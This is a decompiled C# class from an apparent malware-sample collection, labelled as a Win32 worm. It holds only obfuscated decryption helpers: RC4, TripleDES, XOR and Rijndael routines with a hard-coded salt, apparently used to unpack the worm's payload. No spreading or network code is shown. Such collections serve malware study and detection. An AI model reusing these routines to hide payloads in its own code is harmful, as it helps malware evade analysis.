MalwareSourceCode/MSIL/Worm/Win32/B/Worm.Win32.Bybz.dma-ede80954aa264e7f1fb365b2d83e8d211c6a79e95bdca110aeaef84c696635db/JHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY.cs

// Decompiled with JetBrains decompiler
// Type: ajhfsdlhjasnagfgewfwsg.JHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY
// Assembly: Rokan, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 170F4640-026D-46A0-96EF-63F7CE568476
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Bybz.dma-ede80954aa264e7f1fb365b2d83e8d211c6a79e95bdca110aeaef84c696635db.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace ajhfsdlhjasnagfgewfwsg
{
  public class JHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY
  {
    [DebuggerNonUserCode]
    public JHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY()
    {
    }

    public static byte[] dsfkjhxcivudsoifuoixuvoiusaduoasdzxc(byte[] bytes, byte[] key)
    {
      byte[] numArray1 = new byte[256];
      int num1 = checked (numArray1.Length - 1);
      int index1 = 0;
      while (index1 <= num1)
      {
        numArray1[index1] = checked ((byte) index1);
        checked { ++index1; }
      }
      int num2 = checked (numArray1.Length - 1);
      int index2 = 0;
      while (index2 <= num2)
      {
        int index3 = checked (index3 + (int) key[unchecked (index2 % key.Length)] + (int) numArray1[index2]) & (int) byte.MaxValue;
        byte num3 = numArray1[index2];
        numArray1[index2] = numArray1[index3];
        numArray1[index3] = num3;
        checked { ++index2; }
      }
      int index4 = 0;
      int index5 = 0;
      byte[] numArray2 = new byte[checked (bytes.Length - 1 + 1)];
      int num4 = checked (bytes.Length - 1);
      int index6 = 0;
      while (index6 <= num4)
      {
        index4 = checked (index4 + 1) & (int) byte.MaxValue;
        index5 = checked (index5 + (int) numArray1[index4]) & (int) byte.MaxValue;
        byte num5 = numArray1[index4];
        numArray1[index4] = numArray1[index5];
        numArray1[index5] = num5;
        numArray2[index6] = (byte) ((int) numArray1[checked ((int) numArray1[index4] + (int) numArray1[index5]) & (int) byte.MaxValue] ^ (int) bytes[index6]);
        checked { ++index6; }
      }
      return numArray2;
    }

    public static string asioduzxoicuoisaudoiasudoixzc(string b, string c, bool d)
    {
      byte[] inputBuffer = Convert.FromBase64String(b);
      byte[] numArray = !d ? Encoding.UTF8.GetBytes(c) : new MD5CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes(c));
      TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider();
      cryptoServiceProvider.Key = numArray;
      cryptoServiceProvider.Mode = CipherMode.ECB;
      cryptoServiceProvider.Padding = PaddingMode.PKCS7;
      return Encoding.UTF8.GetString(cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
    }

    public static string xJHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY(
      string CodeKey,
      string DataIn)
    {
      string str = "";
      long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(DataIn) / 2.0)));
      long num2 = 1;
      while (num2 <= num1)
      {
        int num3 = checked ((int) Math.Round(Conversion.Val("&H" + Strings.Mid(DataIn, (int) (2L * num2 - 1L), 2))));
        int num4 = Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (num2 % (long) Strings.Len(CodeKey)) + 1L)), 1));
        str += Conversions.ToString(Strings.Chr(num3 ^ num4));
        checked { ++num2; }
      }
      return str;
    }

    public static object Rijndael(string Decrypt, string Key)
    {
      RijndaelManaged rijndaelManaged = new RijndaelManaged();
      byte[] salt = new byte[8]
      {
        (byte) 1,
        (byte) 2,
        (byte) 3,
        (byte) 4,
        (byte) 5,
        (byte) 6,
        (byte) 7,
        (byte) 8
      };
      Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Key, salt);
      rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length);
      rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length);
      MemoryStream memoryStream = new MemoryStream();
      CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
      try
      {
        byte[] buffer = Convert.FromBase64String(Decrypt);
        cryptoStream.Write(buffer, 0, buffer.Length);
        cryptoStream.Close();
        Decrypt = Encoding.UTF8.GetString(memoryStream.ToArray());
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return (object) Decrypt;
    }
  }
}